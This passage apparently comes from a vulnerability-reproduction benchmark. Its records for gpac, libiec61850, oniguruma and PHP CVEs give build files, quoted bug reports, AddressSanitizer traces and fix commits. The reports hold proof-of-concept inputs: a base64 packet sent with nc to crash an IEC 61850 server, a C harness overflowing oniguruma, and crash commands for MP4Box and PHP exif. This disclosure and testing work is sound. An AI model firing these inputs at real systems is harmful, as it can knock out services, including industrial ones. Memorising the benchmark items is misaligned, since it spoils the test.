#1 0x7f57c001e6f5 in gf_isom_box_del /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2005:3
previously allocated by thread T0 here:
#0 0x55ff535f0c1e in malloc (/home/user/fuzzing_gpac/gpac/bin/gcc/MP4Box+0x105c1e) (BuildId: 53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9)
#1 0x7f57bff95c5a in trun_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_code_base.c:7805:2
#2 0x7f57c0026335 in gf_isom_box_new /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:1896:9
#3 0x7f57c0026335 in gf_isom_box_new_parent /home/user/fuzzing_gpac/gpac/src/isomedia/box_funcs.c:2351:14
#4 0x7f57c0d06f05 in mp4_mux_process_sample /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:4915:9
#5 0x7f57c0cf85a4 in mp4_mux_process_fragmented /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:6653:8
#6 0x7f57c0cf46f3 in mp4_mux_process /home/user/fuzzing_gpac/gpac/src/filters/mux_isom.c:7273:14
#7 0x7f57c09afa33 in gf_filter_process_task /home/user/fuzzing_gpac/gpac/src/filter_core/filter.c:2971:7
SUMMARY: AddressSanitizer: heap-use-after-free /home/user/fuzzing_gpac/gpac/src/isomedia/movie_fragments.c:936:37 in flush_ref_samples
Shadow bytes around the buggy address:
0x0c167fff8360: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c167fff8370: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c167fff8380: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa 00 00
0x0c167fff8390: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
0x0c167fff83a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c167fff83b0: fd[fd]fa fa fa fa fa fa fa fa fd fd fd fd fd fd
0x0c167fff83c0: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c167fff83d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
0x0c167fff83e0: fa fa fa fa fa fa fd fd fd fd fd fd fd fd fd fd
0x0c167fff83f0: fd fd fd fd fa fa fa fa fa fa fa fa fd fd fd fd
0x0c167fff8400: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==836900==ABORTING
```
# Reproduce
```
./MP4Box -dash 10000 poc
```
# POC File
https://github.com/gandalf4a/crash_report/blob/main/gpac/MP4Box/huaf_936
# Credit
```
Gandalf4a
```
Commit References:
53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9
|
[] |
[
{
"sha": "c70f49dda4946d6db6aa55588f6a756b76bd84ea",
"url": "https://github.com/1480c1/gpac/commit/c70f49dda4946d6db6aa55588f6a756b76bd84ea"
},
{
"sha": "53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9",
"url": "https://github.com/gpac/gpac/commit/53333ca7bff59dd9a3d1b2821e7c5f3a9aac76b9"
}
] |
libiec61850.cve-2021-45769
|
mz-automation/libiec61850
|
fcefc746fea286aeaa40d2f62240216da81c85e5
| 2021-04-12T10:28:24
|
libiec61850
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN git clone https://github.com/mz-automation/libiec61850 libiec61850
RUN git -C libiec61850 checkout fcefc746fea286aeaa40d2f62240216da81c85e5
WORKDIR $SRC/libiec61850
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
mkdir -p build && cd build
cmake ../
make -j$(nproc)
|
/src/libiec61850
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/mz-automation/libiec61850/issues/368
## Description:
Issue: mz-automation/libiec61850#368
Title: NULL Pointer Dereference in AcseConnection_parseMessage
State: closed
Created by: AiDaiP
Created at: 2021-12-23 00:53:55+00:00
Issue Body:
# NULL Pointer Dereference in AcseConnection_parseMessage
## Description
A NULL Pointer Dereference was discovered in AcseConnection_parseMessage at src/mms/iso_acse/acse.c:429. The vulnerability causes a segmentation fault and application crash.
**version**
8eeb6f0
**System information**
Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz
## Proof of Concept
**poc**
```
base64 poc
AwAAFgLwgA0NAQDBATGBAgABogIAAA==
```
**command:**
```
./server_example_basic_io
nc 0.0.0.0 102 < poc
```
**Result**
```
./server_example_basic_io
Using libIEC61850 version 1.5.0
Connection opened
AddressSanitizer:DEADLYSIGNAL
=================================================================
==4028537==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55de6e46db68 bp 0x7fac36efcaa0 sp 0x7fac36efc9f0 T3)
==4028537==The signal is caused by a READ memory access.
==4028537==Hint: address points to the zero page.
#0 0x55de6e46db67 in AcseConnection_parseMessage src/mms/iso_acse/acse.c:429
#1 0x55de6e41960b in IsoConnection_handleTcpConnection src/mms/iso_server/iso_connection.c:233
#2 0x55de6e41ac5d in handleTcpConnection src/mms/iso_server/iso_connection.c:472
#3 0x7fac3b7e3608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477
#4 0x7fac3b5bb292 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x122292)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mms/iso_acse/acse.c:429 in AcseConnection_parseMessage
Thread T3 created by T1 here:
#0 0x7fac3b837805 in pthread_create (/lib/x86_64-linux-gnu/libasan.so.5+0x3a805)
#1 0x55de6e3b19dc in Thread_start hal/thread/linux/thread_linux.c:89
#2 0x55de6e41b4f7 in IsoConnection_start src/mms/iso_server/iso_connection.c:581
#3 0x55de6e417bf1 in handleIsoConnections src/mms/iso_server/iso_server.c:520
#4 0x55de6e417c99 in isoServerThread src/mms/iso_server/iso_server.c:554
#5 0x7fac3b7e3608 in start_thread /build/glibc-eX1tMB/glibc-2.31/nptl/pthread_create.c:477
Thread T1 created by T0 here:
#0 0x7fac3b837805 in pthread_create (/lib/x86_64-linux-gnu/libasan.so.5+0x3a805)
#1 0x55de6e3b19dc in Thread_start hal/thread/linux/thread_linux.c:89
#2 0x55de6e4182d2 in IsoServer_startListening src/mms/iso_server/iso_server.c:682
#3 0x55de6e3b9b50 in MmsServer_startListening src/mms/iso_mms/server/mms_server.c:606
#4 0x55de6e3adae9 in IedServer_start src/iec61850/server/impl/ied_server.c:692
#5 0x55de6e39537e in main /root/disk2/fuzzing/libiec61850/test/libiec61850/examples/server_example_basic_io/server_example_basic_io.c:146
#6 0x7fac3b4c00b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
==4028537==ABORTING
```
**gdb**
```
Using libIEC61850 version 1.5.0
[New Thread 0x7ffff3bff700 (LWP 4048010)]
[New Thread 0x7ffff33fe700 (LWP 4048011)]
Connection opened
[New Thread 0x7ffff2bfd700 (LWP 4048307)]
Thread 4 "server_example_" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff2bfd700 (LWP 4048307)]
0x0000555555661b68 in AcseConnection_parseMessage (self=0x608000004020, message=0x6060000030a8) at src/mms/iso_acse/acse.c:429
429 uint8_t messageType = buffer[bufPos++];
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────
RAX 0x0
RBX 0x7ffff2bfca20 ◂— 0x41b58ab3
RCX 0x0
RDX 0x0
RDI 0x7ffff2bfca80 —▸ 0x7ffff2bfce60 ◂— 0x0
RSI 0x0
R8 0x0
R9 0x32
R10 0x40
R11 0x0
R12 0xffffe57f944 ◂— 0x0
R13 0x7ffff2bfca20 ◂— 0x41b58ab3
R14 0x7ffff2bfcb40 ◂— 0x41b58ab3
R15 0x7ffff2bfcf80 ◂— 0x0
RBP 0x7ffff2bfcaa0 —▸ 0x7ffff2bfce80 —▸ 0x7ffff2bfceb0 ◂— 0x0
RSP 0x7ffff2bfc9f0 —▸ 0x6060000030a8 ◂— 0x0
RIP 0x555555661b68 (AcseConnection_parseMessage+383) ◂— movzx eax, byte ptr [rcx]
──────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────
► 0x555555661b68 <AcseConnection_parseMessage+383> movzx eax, byte ptr [rcx]
0x555555661b6b <AcseConnection_parseMessage+386> mov byte ptr [rbp - 0x95], al
0x555555661b71 <AcseConnection_parseMessage+392> mov ecx, dword ptr [rbp - 0x90]
0x555555661b77 <AcseConnection_parseMessage+398> mov edx, dword ptr [rbp - 0x8c]
0x555555661b7d <AcseConnection_parseMessage+404> lea rsi, [rdi - 0x40]
0x555555661b81 <AcseConnection_parseMessage+408> mov rax, qword ptr [rbp - 0x88]
0x555555661b88 <AcseConnection_parseMessage+415> mov rdi, rax
0x555555661b8b <AcseConnection_parseMessage+418> call BerDecoder_decodeLength <BerDecoder_decodeLength>
0x555555661b90 <AcseConnection_parseMessage+423> mov dword ptr [rbp - 0x8c], eax
0x555555661b96 <AcseConnection_parseMessage+429> cmp dword ptr [rbp - 0x8c], 0
0x555555661b9d <AcseConnection_parseMessage+436> jns AcseConnection_parseMessage+448
<AcseConnection_parseMessage+448>
──────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────
In file: /root/disk2/fuzzing/libiec61850/test/libiec61850/src/mms/iso_acse/acse.c
424
425 int messageSize = message->size;
426
427 int bufPos = 0;
428
► 429 uint8_t messageType = buffer[bufPos++];
430
431 int len;
432
433 bufPos = BerDecoder_decodeLength(buffer, &len, bufPos, messageSize);
434
──────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────
00:0000│ rsp 0x7ffff2bfc9f0 —▸ 0x6060000030a8 ◂— 0x0
01:0008│ 0x7ffff2bfc9f8 —▸ 0x608000004020 ◂— 0x0
02:0010│ 0x7ffff2bfca00 —▸ 0x7ffff2bfcb40 ◂— 0x41b58ab3
03:0018│ 0x7ffff2bfca08 —▸ 0xa2310146 ◂— 0x0
04:0020│ 0x7ffff2bfca10 —▸ 0x100000000 ◂— 0x0
05:0028│ 0x7ffff2bfca18 ◂— 0x0
06:0030│ rbx r13 0x7ffff2bfca20 ◂— 0x41b58ab3
07:0038│ 0x7ffff2bfca28 —▸ 0x5555556d71d8 ◂— '1 32 4 7 len:431'
────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────
► f 0 0x555555661b68 AcseConnection_parseMessage+383
f 1 0x55555560d60c IsoConnection_handleTcpConnection+1422
f 2 0x55555560ec5e handleTcpConnection+43
f 3 0x7ffff7564609 start_thread+217
──────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> bt
#0 0x0000555555661b68 in AcseConnection_parseMessage (self=0x608000004020, message=0x6060000030a8) at
src/mms/iso_acse/acse.c:429
#1 0x000055555560d60c in IsoConnection_handleTcpConnection (self=0x61100000ff40, isSingleThread=false) at src/mms/iso_server/iso_connection.c:233
#2 0x000055555560ec5e in handleTcpConnection (parameter=0x61100000ff40) at src/mms/iso_server/iso_connection.c:472
#3 0x00007ffff7564609 in start_thread (arg=<optimized out>) at pthread_create.c:477
#4 0x00007ffff733c293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
```
Comments:
Comment by mzillgith on 2021-12-23 08:37:00+00:00:
Thanks for the bug reports. Is confirmed and should be fixed.
|
[
{
"content": "[libfuzzer]\ndetect_leaks=0\n",
"filename": "fuzz_decode.options"
}
] |
[
{
"sha": "32087c47dea6a551610bed3dec7cb94d7d89e5ac",
"url": "https://github.com/mz-automation/libiec61850/commit/32087c47dea6a551610bed3dec7cb94d7d89e5ac"
}
] |
oniguruma.cve-2017-9224
|
kkos/oniguruma
|
166a6c3999bf06b4de0ab4ce6b088a468cc4029f
| 2017-05-22T04:09:39
|
oniguruma
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/kkos/oniguruma oniguruma
RUN git -C oniguruma checkout 166a6c3999bf06b4de0ab4ce6b088a468cc4029f
WORKDIR $SRC/oniguruma
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure
make clean -j$(nproc)
make -j$(nproc)
|
/src/oniguruma
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/kkos/oniguruma/issues/57
## Description:
Issue: kkos/oniguruma#57
Title: Buffer Overflow in match_at()
State: closed
Created by: lxxxxfdh
Created at: 2017-05-22 07:36:55+00:00
Issue Body:
The buffer-overflow is found with the code:
```c
#include <stdio.h>
#include "oniguruma.h"
static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
int r;
unsigned char *start, *range;
OnigRegion *region;
region = onig_region_new();
start = str;
range = end;
r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
if (r >= 0) {
int i;
fprintf(stderr, "match at %d (%s)\n", r,
ONIGENC_NAME(onig_get_encoding(reg)));
for (i = 0; i < region->num_regs; i++) {
fprintf(stderr, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
}
}
else if (r == ONIG_MISMATCH) {
fprintf(stderr, "search fail (%s)\n",
ONIGENC_NAME(onig_get_encoding(reg)));
}
else { /* error */
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str(s, r);
fprintf(stderr, "ERROR: %s\n", s);
fprintf(stderr, " (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
return -1;
}
onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
return 0;
}
static int
exec(OnigEncoding enc, OnigOptionType options,
char* apattern, char* apttern_end, char* astr, char* end)
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
UChar* pattern = (UChar* )apattern;
UChar* str = (UChar* )astr;
onig_initialize(&enc, 1);
r = onig_new(®, pattern,
apttern_end,
options, enc, ONIG_SYNTAX_DEFAULT, &einfo);
if (r != ONIG_NORMAL) {
char s[ONIG_MAX_ERROR_MESSAGE_LEN];
onig_error_code_to_str(s, r, &einfo);
fprintf(stderr, "ERROR: %s\n", s);
return -1;
}
r = search(reg, str, end);
onig_free(reg);
onig_end();
return 0;
}
int main() {
regex_t *reg;
unsigned char str[] = { 0xc7, 0xd6, 0xfe, 0xea, 0xe0, 0xe2, 0x00 };
unsigned char input[] = {0xf1, 0x5c, 0x69, 0x53, 0x53, 0x53, 0x53, 0x3c, 0x30, 0x53,
0x59, 0x54, 0x52, 0x33, 0x7c, 0x2e, 0x5c, 0xe2, 0x48, 0x5c, 0x7a, 0x53, 0x00,
0x06, 0x00, 0x00, 0x27, 0x19, 0x00, 0x54, 0x52, 0x54, 0x52, 0x33, 0x7c, 0x2e, 0x53, 0xe2, 0x48};
int r = exec( ONIG_ENCODING_SJIS ,ONIG_OPTION_IGNORECASE , (char*)input,input+39, (char*) str,str+7 );
return 0;
}
```
The asan err can be found as follows:
```
==4064==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffdd18d5447 at pc 0x00000044434c bp 0x7ffdd18d4910 sp 0x7ffdd18d4900
READ of size 1 at 0x7ffdd18d5447 thread T0
#0 0x44434b in match_at /home/xie/Downloads/oni/oni-asan-dev/src/regexec.c:1481
#1 0x457fdf in onig_search /home/xie/Downloads/oni/oni-asan-dev/src/regexec.c:3651
#2 0x401148 in search /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:18
#3 0x401786 in exec /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:65
#4 0x401a02 in main /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:77
#5 0x7f9bd023582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#6 0x400f68 in _start (/home/xie/Downloads/oni/oni-asan-dev/test/testc+0x400f68)
Address 0x7ffdd18d5447 is located in stack of thread T0 at offset 39 in frame
#0 0x40186f in main /home/xie/Downloads/oni/oni-asan-dev/test/testc.c:71
This frame has 2 object(s):
[32, 39) 'str' <== Memory access at offset 39 overflows this variable
[96, 135) 'input'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/xie/Downloads/oni/oni-asan-dev/src/regexec.c:1481 match_at
Shadow bytes around the buggy address:
0x10003a312a30: 00 00 00 00 00 00 00 00 00 00 00 02 f3 f3 f3 f3
0x10003a312a40: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
0x10003a312a50: 00 00 00 00 f1 f1 f1 f1 00 f4 f4 f4 f2 f2 f2 f2
0x10003a312a60: 00 00 00 f4 f2 f2 f2 f2 00 00 00 00 00 00 00 00
0x10003a312a70: 00 00 00 02 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00
=>0x10003a312a80: 00 00 00 00 f1 f1 f1 f1[07]f4 f4 f4 f2 f2 f2 f2
0x10003a312a90: 00 00 00 00 07 f4 f4 f4 f3 f3 f3 f3 00 00 00 00
0x10003a312aa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003a312ab0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003a312ac0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10003a312ad0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==4064==ABORTING
```
Comments:
Comment by xixabangm4 on 2017-05-25 02:46:11+00:00:
Thanks, please use CVE-2017-9224 to reference this issue.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9224
|
[
{
"content": "/oniguruma\n/fuzzer.options.*\n",
"filename": ".gitignore"
},
{
"content": "",
"filename": "fuzzer.options"
}
] |
[
{
"sha": "690313a061f7a4fa614ec5cc8368b4f2284e059b",
"url": "https://github.com/kkos/oniguruma/commit/690313a061f7a4fa614ec5cc8368b4f2284e059b"
}
] |
php.cve-2016-4542
|
php/php-src
|
fc1df8e7a6886e29a6ed5bef3f674ac61164e847
| 2014-08-27T08:31:35
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout fc1df8e7a6886e29a6ed5bef3f674ac61164e847
WORKDIR $SRC/php-src
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
--enable-option-checking=fatal \
--disable-libxml \
--disable-dom \
--disable-simplexml \
--disable-xml \
--disable-xmlreader \
--disable-xmlwriter \
--without-pear \
--enable-exif \
--disable-phpdbg \
--disable-cgi
make -j$(nproc)
|
/src/php-src
|
address
|
================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=72094
## Description:
PHP Bug ID: 72094
Summary: Out of bounds heap read access in exif header processing
Status: Closed
PHP Version: 5.5.34
Assigned: stas (profile)
CVE-ID: 2016-4542
Description:
Description:
------------
A malformed input to the function exif_read_data() can cause an out of bounds heap memory read access. This was found with american fuzzy lop.
To test run the test script on the attached file with PHP compiled with address sanitizer (-fsanitize=address in CFLAGS) and USE_ZEND_ALLOC=0.
==29327==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000aadf at pc 0x000000e9c33d bp 0x7fff5e16fc70 sp 0x7fff5e16fc68
READ of size 1 at 0x60200000aadf thread T0
#0 0xe9c33c in php_ifd_get32s /f/php/php-7.0.5/ext/exif/exif.c:1102:12
#1 0xe9c33c in php_ifd_get32u /f/php/php-7.0.5/ext/exif/exif.c:1114
#2 0xe9c33c in exif_process_TIFF_in_JPEG /f/php/php-7.0.5/ext/exif/exif.c:3191
#3 0xe9c33c in exif_process_APP1 /f/php/php-7.0.5/ext/exif/exif.c:3228
#4 0xe9c33c in exif_scan_JPEG_header /f/php/php-7.0.5/ext/exif/exif.c:3373
#5 0xe9c33c in exif_scan_FILE_header /f/php/php-7.0.5/ext/exif/exif.c:3755
#6 0xe9c33c in exif_read_file /f/php/php-7.0.5/ext/exif/exif.c:3897
#7 0xe91d1d in zif_exif_read_data /f/php/php-7.0.5/ext/exif/exif.c:3950:8
#8 0x1a2b071 in ZEND_DO_ICALL_SPEC_HANDLER /f/php/php-7.0.5/Zend/zend_vm_execute.h:586:2
#9 0x18a5205 in execute_ex /f/php/php-7.0.5/Zend/zend_vm_execute.h:417:7
#10 0x18a614b in zend_execute /f/php/php-7.0.5/Zend/zend_vm_execute.h:458:2
#11 0x170c15d in zend_execute_scripts /f/php/php-7.0.5/Zend/zend.c:1427:4
#12 0x14d438b in php_execute_script /f/php/php-7.0.5/main/main.c:2487:14
#13 0x1ae9ed3 in do_cli /f/php/php-7.0.5/sapi/cli/php_cli.c:974:5
#14 0x1ae6e64 in main /f/php/php-7.0.5/sapi/cli/php_cli.c:1344:18
#15 0x7f7fecf1578f in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r2/work/glibc-2.23/csu/../csu/libc-start.c:289
#16 0x462198 in _start (/mnt/ram/php/php+0x462198)
0x60200000aadf is located 0 bytes to the right of 15-byte region [0x60200000aad0,0x60200000aadf)
allocated by thread T0 here:
#0 0x50a008 in malloc (/mnt/ram/php/php+0x50a008)
#1 0x1614bc2 in _emalloc /f/php/php-7.0.5/Zend/zend_alloc.c:2446:11
#2 0xe91d1d in zif_exif_read_data /f/php/php-7.0.5/ext/exif/exif.c:3950:8
#3 0x1a2b071 in ZEND_DO_ICALL_SPEC_HANDLER /f/php/php-7.0.5/Zend/zend_vm_execute.h:586:2
Test script:
---------------
<?php
/* Needs specific malformed JPG file */
print_r(exif_read_data($argv[1]));
Comments:
[Comment 1] [2016-04-24 08:42 UTC] hanno at hboeck dot de
It seems to be not possible to attach files to bug reports, I'll send the sample file triggering the bug to [email protected]
[Comment 2] [2016-04-24 10:17 UTC] hanno at hboeck dot de
I found three further similar issues (and a smaller PoC testcase for the first one), will send them all to [email protected]
ASAN stack traces:
==32628==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000bab9 at pc 0x000000ea56d4 bp 0x7fff3c949990 sp 0x7fff3c949988
READ of size 1 at 0x60c00000bab9 thread T0
#0 0xea56d3 in php_ifd_get16u /f/php/php-7.0.5/ext/exif/exif.c:1079:11
#1 0xea56d3 in exif_process_IFD_in_JPEG /f/php/php-7.0.5/ext/exif/exif.c:3118
#2 0xe9b0cd in exif_process_TIFF_in_JPEG /f/php/php-7.0.5/ext/exif/exif.c:3203:2
#3 0xe9b0cd in exif_process_APP1 /f/php/php-7.0.5/ext/exif/exif.c:3228
#4 0xe9b0cd in exif_scan_JPEG_header /f/php/php-7.0.5/ext/exif/exif.c:3373
#5 0xe9b0cd in exif_scan_FILE_header /f/php/php-7.0.5/ext/exif/exif.c:3755
#6 0xe9b0cd in exif_read_file /f/php/php-7.0.5/ext/exif/exif.c:3897
#7 0xe91d1d in zif_exif_read_data /f/php/php-7.0.5/ext/exif/exif.c:3950:8
#8 0x1a2b071 in ZEND_DO_ICALL_SPEC_HANDLER /f/php/php-7.0.5/Zend/zend_vm_execute.h:586:2
#9 0x18a5205 in execute_ex /f/php/php-7.0.5/Zend/zend_vm_execute.h:417:7
#10 0x18a614b in zend_execute /f/php/php-7.0.5/Zend/zend_vm_execute.h:458:2
#11 0x170c15d in zend_execute_scripts /f/php/php-7.0.5/Zend/zend.c:1427:4
#12 0x14d438b in php_execute_script /f/php/php-7.0.5/main/main.c:2487:14
#13 0x1ae9ed3 in do_cli /f/php/php-7.0.5/sapi/cli/php_cli.c:974:5
#14 0x1ae6e64 in main /f/php/php-7.0.5/sapi/cli/php_cli.c:1344:18
#15 0x7f01f61d678f in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r2/work/glibc-2.23/csu/../csu/libc-start.c:289
#16 0x462198 in _start (/mnt/ram/php/php+0x462198)
0x60c00000bab9 is located 0 bytes to the right of 121-byte region [0x60c00000ba40,0x60c00000bab9)
allocated by thread T0 here:
#0 0x50a008 in malloc (/mnt/ram/php/php+0x50a008)
#1 0x1614bc2 in _emalloc /f/php/php-7.0.5/Zend/zend_alloc.c:2446:11
#2 0xe91d1d in zif_exif_read_data /f/php/php-7.0.5/ext/exif/exif.c:3950:8
#3 0x1a2b071 in ZEND_DO_ICALL_SPEC_HANDLER /f/php/php-7.0.5/Zend/zend_vm_execute.h:586:2
==32640==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000064ffd at pc 0x000000ea573b bp 0x7ffced947670 sp 0x7ffced947668
READ of size 1 at 0x608000064ffd thread T0
#0 0xea573a in php_ifd_get32s /f/php/php-7.0.5/ext/exif/exif.c:1102:12
#1 0xea573a in php_ifd_get32u /f/php/php-7.0.5/ext/exif/exif.c:1114
#2 0xea573a in exif_process_IFD_in_JPEG /f/php/php-7.0.5/ext/exif/exif.c:3141
#3 0xe9b0cd in exif_process_TIFF_in_JPEG /f/php/php-7.0.5/ext/exif/exif.c:3203:2
#4 0xe9b0cd in exif_process_APP1 /f/php/php-7.0.5/ext/exif/exif.c:3228
#5 0xe9b0cd in exif_scan_JPEG_header /f/php/php-7.0.5/ext/exif/exif.c:3373
#6 0xe9b0cd in exif_scan_FILE_header /f/php/php-7.0.5/ext/exif/exif.c:3755
#7 0xe9b0cd in exif_read_file /f/php/php-7.0.5/ext/exif/exif.c:3897
#8 0xe91d1d in zif_exif_read_data /f/php/php-7.0.5/ext/exif/exif.c:3950:8
#9 0x1a2b071 in ZEND_DO_ICALL_SPEC_HANDLER /f/php/php-7.0.5/Zend/zend_vm_execute.h:586:2
#10 0x18a5205 in execute_ex /f/php/php-7.0.5/Zend/zend_vm_execute.h:417:7
#11 0x18a614b in zend_execute /f/php/php-7.0.5/Zend/zend_vm_execute.h:458:2
#12 0x170c15d in zend_execute_scripts /f/php/php-7.0.5/Zend/zend.c:1427:4
#13 0x14d438b in php_execute_script /f/php/php-7.0.5/main/main.c:2487:14
#14 0x1ae9ed3 in do_cli /f/php/php-7.0.5/sapi/cli/php_cli.c:974:5
#15 0x1ae6e64 in main /f/php/php-7.0.5/sapi/cli/php_cli.c:1344:18
#16 0x7f8294acd78f in __libc_start_main /var/tmp/portage/sys-libs/glibc-2.23-r2/work/glibc-2.23/csu/../csu/libc-start.c:289
#17 0x462198 in _start (/mnt/ram/php/php+0x462198)
0x608000064ffd is located 0 bytes to the right of 93-byte region [0x608000064fa0,0x608000064ffd)
allocated by thread T0 here:
#0 0x50a008 in malloc (/mnt/ram/php/php+0x50a008)
#1 0x1614bc2 in _emalloc /f/php/php-7.0.5/Zend/zend_alloc.c:2446:11
#2 0xe91d1d in zif_exif_read_data /f/php/php-7.0.5/ext/exif/exif.c:3950:8
#3 0x1a2b071 in ZEND_DO_ICALL_SPEC_HANDLER /f/php/php-7.0.5/Zend/zend_vm_execute.h:586:2
==32653==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c00000bab9 at pc 0x0000004ac0cc bp 0x7ffd919101d0 sp 0x7ffd9190f980
READ of size 7 at 0x60c00000bab9 thread T0
#0 0x4ac0cb in __interceptor_strlen (/mnt/ram/php/php+0x4ac0cb)
#1 0x14e79af in xbuf_format_converter /f/php/php-7.0.5/main/spprintf.c:609:16
#2 0x14edc17 in vspprintf /f/php/php-7.0.5/main/spprintf.c:847:2
#3 0x14edc17 in spprintf /f/php/php-7.0.5/main/spprintf.c:871
#4 0xea7ea8 in exif_process_IFD_TAG /f/php/php-7.0.5/ext/exif/exif.c:2949:7
#5 0xea4e69 in exif_process_IFD_in_JPEG /f/php/php-7.0.5/ext/exif/exif.c:3126:8
#6 0xe9b0cd in exif_process_TIFF_in_JPEG /f/php/php-7.0.5/ext/exif/exif.c:3203:2
#7 0xe9b0cd in exif_process_APP1 /f/php/php-7.0.5/ext/exif/exif.c:3228
#8 0xe9b0cd in exif_scan_JPEG_header /f/php/php-7.0.5/ext/exif/exif.c:3373
#9 0xe9b0cd in exif_scan_FILE_header /f/php/php-7.0.5/ext/exif/exif.c:3755
#10 0xe9b0cd in exif_read_file /f/php/php-7.0.5/ext/exif/exif.c:3897
#11 0xe91d1d in zif_exif_read_data /f/php/php-7.0.5/ext/exif/exif.c:3950:8
#12 0x1a2b071 in ZEND_DO_ICALL_SPEC_HANDLER /f/php/php-7.0.5/Zend/zend_vm_execute.h:586:2
#13 0x18a5205 in execute_ex /f/php/php-7.0.5/Zend/zend_vm_execute.h:417:7
#14 0x18a614b in zend_execute /f/php/php-7.0.5/Zend/zend_vm_execute.h:458:2
#15 0x170c15d in zend_execute_scripts /f/php/php-7.0.5/Zend/zend.c:1427:4
#16 0x14d438b in php_execute_script /f/php/php-7.0.5/main/main.c:2487:14
#17 0x1ae9ed3 in do_cli /f/php/php-7.0.5/sapi/cli/php_cli.c:974:5
